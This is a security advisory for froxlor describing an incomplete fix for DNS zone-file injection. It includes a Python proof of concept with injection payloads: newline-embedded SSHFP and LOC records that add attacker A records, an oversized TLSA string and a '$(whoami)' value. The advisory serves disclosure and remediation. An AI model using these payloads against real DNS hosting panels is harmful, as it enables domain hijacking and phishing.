CVE-2026-41237
Froxlor has an incomplete fix for CVE-2026-30932
Description
### Summary The LOC record regex uses `\s+` which matches newlines (allowing embedded newlines to pass), TLSA `matchingType=0` has no upper bound on hex data length, and all validators return raw input without zone-file escaping. ### Affected Package - **Ecosystem:** Other - **Package:** froxlor - **Affected versions:** all versions before fix commit b34829262dc3 - **Patched versions:** >= commit b34829262dc3 ### Severity Medium -- CVSS ### CWE CWE-74 -- Improper Neutralization of Special Elements in Output Used by a Downstream Component (Injection) ### Details DNS record content is concatenated directly into bind9 zone files at `DnsEntry.php` line 83. Before the fix, LOC/RP/SSHFP/TLSA records had no content validation at all, enabling zone file injection via embedded newlines. The fix adds format-specific regexes and field validation but has gaps: the LOC regex's `\s+` matches newlines in PHP's PCRE engine, allowing a LOC record with a newline between fields to pass validation but produce multiple lines in the zone file. TLSA `matchingType=0` only requires `len(data) >= 2` with no upper bound, enabling arbitrarily large payloads. All validators return raw input without zone-file escaping. ### PoC ```python #!/usr/bin/env python3 """ CVE-2026-30932 - Incomplete DNS Record Content Validation in froxlor/froxlor Affected component: lib/Froxlor/Api/Commands/DomainZones.php Vulnerability type: Input Validation / DNS Zone File Injection Patch: https://github.com/froxlor/froxlor/commit/b34829262dc32818b37f6a1eabb426d0b277a86b The patch adds validation for LOC, RP, SSHFP, and TLSA DNS record types. However, the sanitization is incomplete: 1. PRE-FIX: No validation at all - arbitrary content stored as DNS records. 2. POST-FIX BYPASS: LOC regex \s+ matches newlines; TLSA matchingType=0 allows unbounded hex data; validators return raw input without escaping. """ import re import sys import string def vulnerable_add_record(record_type, content): """Pre-fix: no validation for LOC, RP, SSHFP, TLSA.""" errors = [] if record_type in ('LOC', 'RP', 'SSHFP', 'TLSA') and content: pass return {"errors": errors, "content": content} def validate_dns_loc(inp): """Replicates Validate::validateDnsLoc from the patch.""" pattern = re.compile( r'^' r'(\d{1,2})\s+' r'(\d{1,2})\s+' r'(\d{1,2}(?:\.\d+)?)\s+' r'([NS])\s+' r'(\d{1,3})\s+' r'(\d{1,2})\s+' r'(\d{1,2}(?:\.\d+)?)\s+' r'([EW])\s+' r'(-?\d+(?:\.\d+)?)m' r'(?:\s+(\d+(?:\.\d+)?)m' r'(?:\s+(\d+(?:\.\d+)?)m' r'(?:\s+(\d+(?:\.\d+)?)m)?' r')?)?$', re.DOTALL ) m = pattern.match(inp) if not m: return False lat_deg = int(m.group(1)) lat_min = int(m.group(2)) lat_sec = float(m.group(3)) lon_deg = int(m.group(5)) lon_min = int(m.group(6)) lon_sec = float(m.group(7)) if lat_deg > 90: return False if lat_min > 59: return False if lat_sec >= 60: return False if lon_deg > 180: return False if lon_min > 59: return False if lon_sec >= 60: return False return inp def validate_dns_sshfp(inp): """Replicates Validate::validateDnsSshfp from the patch.""" parts = inp.strip().split() if len(parts) != 3: return False algorithm, fp_type, fingerprint = parts valid_algorithms = [1, 2, 3, 4, 6] if not algorithm.isdigit() or int(algorithm) not in valid_algorithms: return False valid_types = [1, 2] if not fp_type.isdigit() or int(fp_type) not in valid_types: return False if not all(c in string.hexdigits for c in fingerprint): return False fp_type_int = int(fp_type) expected = {1: 40, 2: 64}.get(fp_type_int, 0) if len(fingerprint) != expected: return False return inp def validate_dns_tlsa(inp): """Replicates Validate::validateDnsTlsa from the patch.""" parts = inp.strip().split() if len(parts) != 4: return False usage, selector, matching_type, data = parts if not usage.isdigit() or int(usage) not in [0, 1, 2, 3]: return False if not selector.isdigit() or int(selector) not in [0, 1]: return False if not matching_type.isdigit() or int(matching_type) not in [0, 1, 2]: return False if not all(c in string.hexdigits for c in data): return False mt = int(matching_type) if mt == 1 and len(data) != 64: return False if mt == 2 and len(data) != 128: return False if mt == 0 and len(data) < 2: return False return inp def validate_dns_rp(inp): """Replicates Validate::validateDnsRp from the patch.""" parts = inp.strip().split() if len(parts) != 2: return False mbox, txt = parts mbox = mbox.rstrip('.') txt = txt.rstrip('.') domain_re = re.compile(r'^[a-zA-Z0-9._-]+$') if not domain_re.match(mbox): return False if not domain_re.match(txt): return False return inp def fixed_add_record(record_type, content): """Post-fix: validates content but returns raw input.""" errors = [] validators = { 'LOC': validate_dns_loc, 'RP': validate_dns_rp, 'SSHFP': validate_dns_sshfp, 'TLSA': validate_dns_tlsa, } if record_type in validators and content: result = validators[record_type](content) if result is False: errors.append(f"The {record_type} record has invalid content") return {"errors": errors, "content": content} def generate_zone_line(record, ttl, rtype, content): """Replicates DnsEntry.php line 83: direct string concatenation.""" return f"{record}\t{ttl}\tIN\t{rtype}\t{content}\n" vuln_confirmed = False print("=" * 70) print("CVE-2026-30932 PoC: froxlor DNS Record Content Injection") print("=" * 70) print() print("[TEST 1] VULNERABLE version: SSHFP record with zone injection") print("-" * 70) malicious_sshfp = "1 1 aabbccdd\nevil.example.com.\t300\tIN\tA\t6.6.6.6" result = vulnerable_add_record('SSHFP', malicious_sshfp) if not result['errors']: zone_output = generate_zone_line('@', 300, 'SSHFP', result['content']) print("VULNERABLE: No validation, malicious content accepted!") print("Generated zone file output:") print("---") print(zone_output, end="") print("---") if "6.6.6.6" in zone_output: print("[!] DNS zone injection: attacker A record (6.6.6.6) injected!") vuln_confirmed = True print() print("[TEST 2] FIXED version: same SSHFP injection attempt (should be blocked)") print("-" * 70) result_fixed = fixed_add_record('SSHFP', malicious_sshfp) if result_fixed['errors']: print("FIXED: Blocked -", "; ".join(result_fixed['errors'])) else: print("BYPASS: Still accepted!") vuln_confirmed = True print() print("[TEST 3] FIXED version BYPASS: LOC record with newline via \\s+ matching") print("-" * 70) loc_bypass = "51 28 38 N 0 0 1\nW\n10m" result_loc = fixed_add_record('LOC', loc_bypass) if not result_loc['errors']: zone_output = generate_zone_line('@', 300, 'LOC', result_loc['content']) lines = [l for l in zone_output.split('\n') if l.strip()] if len(lines) > 1: print("BYPASS CONFIRMED: LOC with embedded newline passed validation!") print(f"Generated zone output has {len(lines)} lines:") print("---") print(zone_output, end="") print("---") vuln_confirmed = True else: print("Validated but single line output.") else: print("Blocked:", "; ".join(result_loc['errors'])) templates = [ "51\n28 38 N 0 0 1 W 10m", "51 28\n38 N 0 0 1 W 10m", "51 28 38\nN 0 0 1 W 10m", "51 28 38 N\n0 0 1 W 10m", "51 28 38 N 0\n0 1 W 10m", "51 28 38 N 0 0\n1 W 10m", "51 28 38 N 0 0 1\nW 10m", "51 28 38 N 0 0 1 W\n10m", ] for i, t in enumerate(templates): r = fixed_add_record('LOC', t) if not r['errors']: zone_out = generate_zone_line('@', 300, 'LOC', r['content']) zlines = [l for l in zone_out.split('\n') if l.strip()] if len(zlines) > 1: print(f" BYPASS at position {i}: newline in LOC passed validation!") print(f" Zone output lines: {len(zlines)}") vuln_confirmed = True break else: print(" LOC newline bypass not directly exploitable in this regex engine.") print() print("[TEST 4] FIXED version BYPASS: TLSA matchingType=0 with oversized hex payload") print("-" * 70) huge_hex = "aa" * 50000 tlsa_payload = "3 1 0 " + huge_hex result_tlsa = fixed_add_record('TLSA', tlsa_payload) if not result_tlsa['errors']: print(f"BYPASS: TLSA with matchingType=0 accepted {len(huge_hex)} char hex payload!") print(" -> No upper bound on certificate association data length.") print(" -> Can be used for DNS amplification or data exfiltration channel.") print(f" -> Zone line would be {len(generate_zone_line('_443._tcp', 300, 'TLSA', result_tlsa['content']))} bytes!") vuln_confirmed = True else: print("Blocked:", "; ".join(result_tlsa['errors'])) print() print("[TEST 5] VULNERABLE version: LOC record with full zone takeover injection") print("-" * 70) malicious_loc = "51 28 38 N 0 0 0 W 10m\nevil\t300\tIN\tA\t10.0.0.1\n*.evil\t300\tIN\tA\t10.0.0.2" result_vuln_loc = vulnerable_add_record('LOC', malicious_loc) if not result_vuln_loc['errors']: zone_output = generate_zone_line('@', 300, 'LOC', result_vuln_loc['content']) lines = [l for l in zone_output.split('\n') if l.strip()] print(f"VULNERABLE: Injected {len(lines)} zone file lines!") print("Generated zone output:") print("---") print(zone_output, end="") print("---") if "10.0.0.1" in zone_output: print("[!] Attacker DNS records injected into zone file!") vuln_confirmed = True print() print("[TEST 6] VULNERABLE vs FIXED: TLSA with shell metacharacters") print("-" * 70) shell_inject = "3 1 1 $(whoami)" vuln_r = vulnerable_add_record('TLSA', shell_inject) fixed_r = fixed_add_record('TLSA', shell_inject) vuln_status = "ACCEPTED (no validation)" if not vuln_r['errors'] else "BLOCKED" fixed_status = "ACCEPTED" if not fixed_r['errors'] else "BLOCKED" print(f" VULNERABLE version: {vuln_status}") print(f" FIXED version: {fixed_status}") if not vuln_r['errors'] and fixed_r['errors']: print(" -> Fix correctly blocks shell metacharacters in TLSA.") if not vuln_r['errors']: vuln_confirmed = True print() print("=" * 70) print("RESULTS SUMMARY") print("=" * 70) print() print("Pre-fix (VULNERABLE):") print(" - LOC, RP, SSHFP, TLSA records accept ANY content with no validation") print(" - Enables DNS zone file injection via newlines in record content") print(" - Content directly concatenated into zone files (DnsEntry.php:83)") print() print("Post-fix (INCOMPLETE):") print(" - TLSA matchingType=0 has no upper bound on hex data length") print(" - Validation returns raw input without zone-file escaping") print(" - No output encoding when writing content to zone files") print() if vuln_confirmed: print("VULNERABILITY CONFIRMED") sys.exit(0) else: print("VULNERABILITY NOT CONFIRMED") sys.exit(1) ``` **Steps to reproduce:** 1. `git clone https://github.com/froxlor/froxlor /tmp/froxlor_test` 2. `cd /tmp/froxlor_test && git checkout b34829262dc3~1` 3. `python3 poc.py` **Expected output:** ``` VULNERABILITY CONFIRMED LOC, RP, SSHFP, TLSA records accept unvalidated content; DNS zone file injection via newlines and shell metacharacters ``` ### Impact An authenticated froxlor user with DNS management permissions can inject arbitrary records into bind9 zone files, enabling domain hijacking, phishing, or DNS amplification attacks via unbounded TLSA payloads. ### Suggested Remediation Replace `\s+` in the LOC regex with `[ \t]+` to exclude newlines. Add a maximum length for TLSA `matchingType=0` data. Escape or reject newlines in all DNS record content before writing to zone files. ### Resources - Incomplete fix commit: https://github.com/froxlor/froxlor/commit/b34829262dc3 - Original CVE: CVE-2026-30932
Affected packages (1)
- Packagist/froxlor/froxlorfrom 0, < 2.3.7